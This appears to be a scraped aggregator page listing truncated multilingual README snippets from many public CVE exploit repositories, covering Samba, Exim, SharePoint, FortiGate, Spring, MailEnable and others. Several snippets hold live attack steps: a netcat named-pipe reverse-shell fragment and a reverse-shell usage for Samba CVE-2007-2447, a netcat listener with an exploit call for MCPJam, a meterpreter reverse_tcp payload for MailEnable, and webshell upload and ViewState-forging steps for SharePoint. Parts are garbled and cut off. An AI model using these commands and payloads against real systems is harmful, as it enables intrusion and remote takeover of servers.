CVE-2020-28018

POC CVE-2020-28018 介绍 Qualys 团队发现并发布了 Exim4 邮件服务器中的 21 个严重漏洞。 https://blog.qualys.com/vulnerabilities-research/2021/05/04/21nails-multiple-vulnerabilities-in-exim-mail-server 以下链接提供了有关这些漏洞及其利用的详细技术信息。 https://www.qualys.com/2021/05/04/21nails/21nails.txt 在本仓库中，我们专注于 CVE-2020-28018，该漏洞通过利用...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-

Triage: CVE-2021-26855 ProxyLogon - Microsoft Exchange Bei diesem Lab bestand das Ziel darin, das Triage einer bekannten realen Schwachstelle so zu üben, wie es ein Sicherheitsteam tun würde: die CVE-Details lesen, den CVSS-Score verstehen und abwägen, wie riskant die Schwachstelle je nach...

cve_2026_34621_advanced

CVE-2026-34621 高级漏洞利用生成器 一个针对 CVE-2026-34621 的复杂跨平台漏洞利用生成器——这是 Adobe Acrobat 和 Reader 中的一个严重原型污染漏洞，可导致 Windows 和 macOS 上的沙箱逃逸及任意代码执行。 ⚠️ 重要免责声明 本工具仅用于 授权的安全研究和渗透测试。 未经授权对您不拥有或未获得明确书面许可的系统进行使用是非法的 。作者对滥用行为不承担任何责任。 📋 目录 概述 功能特性 安装 快速开始 使用示例 Windows 命令 macOS 命令 移动端测试 命令行选项 工作原理 受影响版本 缓解措施 贡献 许可证 🔍 概述...

tivoli-poc

tivoli-poc Code PoC pour CVE-2017-1635 CVEID: CVE-2017-1635 CVSS Base Score: 8 Produits et versions concernés : composant KDH de IBM Tivoli Monitoring Basic Services KGL,KAX pour les versions 6.2.2.0 à 6.2.2.9 Une vulnérabilité existe dans le serveur web interne fourni par les services de base IB...

CVE-2026-30741

Sicherheitshinweis: CVE-2026-30741 Produkt: OpenClaw Agent Platform Betroffene Versionen: v2026.2.6 und früher Schwachstellentyp: Remote Code Execution RCE durch Request-Seitige Prompt-Injection Beschreibung: Das Fehlen einer Integritätsprüfung für eingehende API-Anfragen ermöglicht eine Vergiftu...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

CVE-2019-7216

CVE-2019-7216 在 filechucker.cgi 5.09 版本和 filechuckerprefs.cgi 4.99e-free-e02 版本中，存在一个过滤器绕过漏洞，在上传时，如果用户上传恶意文件，可能导致远程代码执行。 当 filechucker 尝试过滤文件扩展名并与 filechuckerprefs 的不允许扩展名配置进行比对时，就会发生绕过： root@kitploit: $PREFonlyallowthesefileextensions = ''; $PREFdisallowthesefileextensions = '.exe .php .php3 .ph...

mailenable-cve-2022-36934

MailEnable CVE-2022-36934 漏洞利用模块 用于 MailEnable 身份验证绕过漏洞 CVE-2022-36934 的 Metasploit 模块，可导致远程代码执行。 📌 功能特性 利用 MailEnable 在 SMTP/POP3 中的不当输入清理 支持 x86 和 x64 Windows 目标 无需用户交互（通过精心构造的邮件自动触发） 适用于 MailEnable 版本 set LHOST set PAYLOAD windows/x64/meterpreter/reversetcp exploit 🎯 测试目标：...

Toolshell_CVE-2025-53770

ToolShell → PoC d'exploitation pour CVE‑2025‑53770 Ce package permet : 1. Téléverser une webshell sur SharePoint 2. Extraire la ValidationKey 3. Générer un ViewState signé 4. RCE via un reverse shell ou un bind shell 🔧 Installation root@kitploit: git clone cd toolshell-exploit pip3 install -r...

CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我々は、テロ組織ハマスに人質として拘束されているすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰宅するまで、我々は休むことはありません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ CVE-2024-21762 このPoCは、FortiGateにおける特定されたセキュリティ上の欠陥を悪用することで、リモートコード実行の可能性を示しています。 CVE-2024-21762 PoC 💣 説明...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

auf kali linux - terminal 1 nc -lvnp 4444 auf kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2010-1872-BlazeDVD-SEH-Exploit

BlazeDVD 5.0 - '.PLF'-Playlist-SEH-Pufferüberlauf-Exploit CVE-2010-1872 Proof-of-Concept-Exploit PoC, der eine Pufferüberlauf-Schwachstelle in BlazeDVD Version 5.0 über eine präparierte .plf-Playlist-Datei ausnutzt. Der Exploit verwendet SEH Structured Exception Handler Overwrite , um...

TIC4301_Project

TIC4301Project TIC4301 项目 - CVE-2021-40444 下载以下 Vagrant 镜像： Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 通过 Vagrant 使用以下命令导入镜像： 1. vagrant box add kalipackage.box...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI-निर्मित Revshell PoC AI द्वारा बनाए गए Redishell PoC का अपरीक्षित पूर्णता। मूल PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py कोरियाई टुकड़ा: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua प्रगति ? हमने बाद में आगे...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 只是玩玩这个漏洞利用。 修改自BobTheShopLifter的出色工作，https://github.com/BobTheShoplifter/Spring4Shell-POC 以及TryHackMe，https://tryhackme.com/room/spring4shell 只是一些小调整。 在检查漏洞利用是否已部署时添加了一些额外内容。 为等待计时器添加了一个进度条，只是为了看看它们如何工作。...

CVEs

CVE-2022-2992: Remote-Befehlsausführung über Github-Import Informationen Beschreibung: Dies ermöglicht einem authentifizierten Benutzer, über den Import-von-GitHub-API-Endpunkt eine Remote-Codeausführung zu erreichen. Betroffene Versionen: alle Versionen von 11.10 vor 15.1.6, 15.2 bis 15.2.4, 15....

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 利用工具 用户映射脚本 此仓库包含一个 Python 脚本，用于自动化利用 Samba 服务器（版本 3.0.20 至 3.0.25rc3）中的 CVE-2007-2447 漏洞。该工具仅用于 教育 目的和授权的渗透测试。 📝 技术学术描述 “用户映射脚本” 漏洞是由于当 Samba 配置中启用了 username map script 选项时，未对用户名输入进行清理所致。当发送包含 shell 元字符（如反引号 或子 shell $）的用户名时，服务器会以服务权限（通常是 root）执行这些命令。 🚀 要求 操作系统： Kali Linux /...